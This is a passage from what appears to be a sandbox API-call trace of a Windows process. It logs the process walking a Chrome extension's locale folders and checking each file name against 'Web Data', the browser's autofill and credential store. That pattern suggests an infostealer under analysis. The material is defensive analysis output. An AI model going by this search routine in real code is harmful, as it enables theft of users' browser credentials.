lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.252] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu" [0056.252] LocalFree (hMem=0x2daca0) returned 0x0 [0056.252] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu") returned 131 [0056.252] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu") returned 131 [0056.252] lstrlenA (lpString="\\*.*") returned 4 [0056.252] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.252] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu" [0056.252] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*" [0056.252] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.252] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.252] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.252] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.252] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.252] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.252] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.252] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.252] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.253] LocalFree (hMem=0x2daca0) returned 0x0 [0056.253] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.253] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.253] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.253] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.253] lstrlenA (lpString="\\") returned 1 [0056.253] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.253] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.253] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.253] lstrlenA (lpString="id") returned 2 [0056.253] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.253] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.253] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id" [0056.253] LocalFree (hMem=0x2daca0) returned 0x0 [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id") returned 131 [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id") returned 131 [0056.253] lstrlenA (lpString="\\*.*") returned 4 [0056.253] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.253] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id" [0056.253] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*" [0056.253] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.253] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.253] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.253] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.253] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.253] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.253] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.253] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.253] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.253] LocalFree (hMem=0x2daca0) returned 0x0 [0056.253] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.253] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.253] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.253] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.253] lstrlenA (lpString="\\") returned 1 [0056.253] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.253] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.253] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.253] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.253] lstrlenA (lpString="it") returned 2 [0056.253] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.253] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.253] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it" [0056.254] LocalFree (hMem=0x2daca0) returned 0x0 [0056.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it") returned 131 [0056.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it") returned 131 [0056.254] lstrlenA (lpString="\\*.*") returned 4 [0056.254] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.254] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it" [0056.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*" [0056.254] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.254] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.254] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.254] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.254] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.254] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.254] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.254] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.254] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.254] LocalFree (hMem=0x2daca0) returned 0x0 [0056.254] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.254] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.254] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.254] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.254] lstrlenA (lpString="\\") returned 1 [0056.254] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.254] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.254] lstrlenA (lpString="ja") returned 2 [0056.254] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.254] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja" [0056.254] LocalFree (hMem=0x2daca0) returned 0x0 [0056.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja") returned 131 [0056.254] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja") returned 131 [0056.254] lstrlenA (lpString="\\*.*") returned 4 [0056.254] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.254] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja" [0056.254] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*" [0056.254] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.254] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.254] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.255] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.255] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.255] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.255] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.255] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.255] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.255] LocalFree (hMem=0x2daca0) returned 0x0 [0056.255] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.255] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.255] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.255] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.255] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.255] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.255] lstrlenA (lpString="\\") returned 1 [0056.255] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.255] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.255] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.255] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.255] lstrlenA (lpString="ko") returned 2 [0056.255] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.255] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.255] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko" [0056.255] LocalFree (hMem=0x2daca0) returned 0x0 [0056.255] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko") returned 131 [0056.255] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko") returned 131 [0056.255] lstrlenA (lpString="\\*.*") returned 4 [0056.255] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.255] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 